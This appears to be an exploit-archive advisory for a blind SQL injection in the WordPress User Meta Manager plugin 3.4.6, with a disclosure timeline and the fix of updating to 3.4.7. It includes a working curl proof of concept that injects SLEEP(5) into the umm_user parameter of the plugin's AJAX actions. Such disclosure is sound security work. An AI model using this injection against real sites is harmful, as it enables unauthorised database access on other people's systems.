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WordPress User Meta Manager 3.4.6 Blind SQL Injection

WordPress User Meta Manager 3.4.6 Blind SQL Injection
Posted Feb 6, 2016
Authored by panVagenas

WordPress User Meta Manager plugin version 3.4.6 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 91f619440d482a94d076f8d50510b565

WordPress User Meta Manager 3.4.6 Blind SQL Injection

Change Mirror Download

* Exploit Title: WordPress User Meta Manager Plugin [Blind SQLI]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps

Description
================================================================================

AJAX actions `umm_edit_user_meta` and `umm_delete_user_meta` of the User Meta
Manager for WordPress plugin up to v3.4.6 are vulnerable to blind SQL injection
attacks. A registered user can pass arbitrary MySQL commands to `umm_user` GET
param.

PoC
================================================================================

```sh
curl -c ${USER_COOKIES} \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
&umm_sub_action=[umm_delete_user_meta|umm_edit_user_meta]&umm_user=SLEEP(5)"
```

Timeline
================================================================================

2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7

Solution
================================================================================

Update to version 3.4.7

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